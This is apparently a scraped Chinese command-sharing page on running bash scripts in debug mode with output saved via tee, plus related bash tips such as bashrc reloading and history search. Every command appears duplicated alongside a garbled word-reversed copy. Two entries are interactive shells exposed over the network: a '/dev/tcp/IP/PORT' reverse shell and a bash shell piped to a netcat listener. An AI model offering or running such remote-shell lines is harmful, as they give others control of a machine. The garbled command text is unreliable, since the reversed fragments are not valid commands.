在调试模式下运行bash脚本,显示输出并将其保存在文件中

将stdout和stderr发送到捕获文件'out.test'中的数据的管道,并发送到tee的stdout(可能是/ dev / tty,除非重定向)。在Bourne,Korn和Bash炮弹上工作。
.

0

linux命令:bash -x test.sh 2>&1 | tee out.test out.test tee | 2>&1 test.sh -x bash bash -x test.sh 2>&1 | tee out.testrootopen.com
linux命令:bash -x test.sh 2>&1 | tee out.test out.test tee | 2>&1 test.sh -x bash bash -x test.sh 2>&1 | tee out.testrootopen.com
dcir 2018-04-28 19:08:48
输出
替代方案1 在调试模式下运行bash脚本,显示输出并将其保存在文件中

.

linux命令:bash -x script.sh 2> log log 2> script.sh -x bash bash -x script.sh 2> logrootopen.com
linux命令:bash -x script.sh 2> log log 2> script.sh -x bash bash -x script.sh 2> logrootopen.com
.
输出

评论

相关推荐

在执行时显示命令及其参数。用于调试shell脚本。

linux命令:bash -x SCRIPT SCRIPT -x bash bash -x SCRIPTrootopen.com
linux命令:bash -x SCRIPT SCRIPT -x bash bash -x SCRIPTrootopen.com
.

*在bash-shell中你可以将当前命令行捕获到文本编辑器中:*简单地按下:CTRL + x + e *你当前的命令行将被放入默认的文本编辑器(export EDITOR = vim)

linux命令:bash-hotkey: <CTRL+x+e> <CTRL+x+e> bash-hotkey: bash-hotkey: <CTRL+x+e>rootopen.com
linux命令:bash-hotkey: <CTRL+x+e> <CTRL+x+e> bash-hotkey: bash-hotkey: <CTRL+x+e>rootopen.com
.

如果您从Windows连接,效果不佳。 Linux只在Windows需要CRLF的地方发送LF。替代命令对Windows更好,但它使用脚本和命名管道。

linux命令:bash -i 2>&1 | tee /dev/stderr | nc -l 5000 5000 -l nc | /dev/stderr tee | 2>&1 -i bash bash -i 2>&1 | tee /dev/stderr | nc -l 5000rootopen.com
linux命令:bash -i 2>&1 | tee /dev/stderr | nc -l 5000 5000 -l nc | /dev/stderr tee | 2>&1 -i bash bash -i 2>&1 | tee /dev/stderr | nc -l 5000rootopen.com
.

如果script.sh只包含这两行:$ uname -a $ whoami

linux命令:bash -x script.sh script.sh -x bash bash -x script.shrootopen.com
linux命令:bash -x script.sh script.sh -x bash bash -x script.shrootopen.com
.

linux命令:bash -i >& /dev/tcp/IP/PORT 0>&1 0>&1 /dev/tcp/IP/PORT >& -i bash bash -i >& /dev/tcp/IP/PORT 0>&1rootopen.com
linux命令:bash -i >& /dev/tcp/IP/PORT 0>&1 0>&1 /dev/tcp/IP/PORT >& -i bash bash -i >& /dev/tcp/IP/PORT 0>&1rootopen.com
.

启动具有特殊别名和功能的交互式shell。

linux命令:bash --rcfile /a/special/bashrc /a/special/bashrc --rcfile bash bash --rcfile /a/special/bashrcrootopen.com
linux命令:bash --rcfile /a/special/bashrc /a/special/bashrc --rcfile bash bash --rcfile /a/special/bashrcrootopen.com
.

使用PG UP / PG DOWN像箭头一样翻转外壳历史记录。只需键入ss和PG UP并查看所有ssh命令,输入ls和PG DOWN - 查看所有ls命令。需要取消/ etc / inputrc中的两个选项的注释:“\ e [5〜”:history-search-backward“\ e [6〜”:history-search-forwardhack found:http://broddlit.wordpress.com/2008 / 04/12 /制作最bash的历史-A-更好的地方/

linux命令:bash history: modification /etc/inputrc /etc/inputrc modification history: bash bash history: modification /etc/inputrcrootopen.com
linux命令:bash history: modification /etc/inputrc /etc/inputrc modification history: bash bash history: modification /etc/inputrcrootopen.com
.

只要编辑.bashrc,当您编辑它并更改函数的别名或以*相同的名称* .I为其使用此函数时,就无法正常工作。在重新采购.bashrc之前,它将取消所有别名和函数。

linux命令:bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; } } ~/.bashrc; . 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); sed | -F declare $(builtin -f unset builtin -a; unalias builtin { bashrc-reload() bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; }rootopen.com
linux命令:bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; } } ~/.bashrc; . 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); sed | -F declare $(builtin -f unset builtin -a; unalias builtin { bashrc-reload() bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed 's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; }rootopen.com
.

linux命令:bash -x /etc/init.d/asterisk start start /etc/init.d/asterisk -x bash bash -x /etc/init.d/asterisk startrootopen.com
linux命令:bash -x /etc/init.d/asterisk start start /etc/init.d/asterisk -x bash bash -x /etc/init.d/asterisk startrootopen.com
.

linux命令:bashrc-reload() { builtin exec bash ; } } ; bash exec builtin { bashrc-reload() bashrc-reload() { builtin exec bash ; }rootopen.com
linux命令:bashrc-reload() { builtin exec bash ; } } ; bash exec builtin { bashrc-reload() bashrc-reload() { builtin exec bash ; }rootopen.com
.
共收录0条命令行
这里是记录和分享命令行的地方, 所有命令行都可以进行评论、提交替代方案.

推荐
    热门命令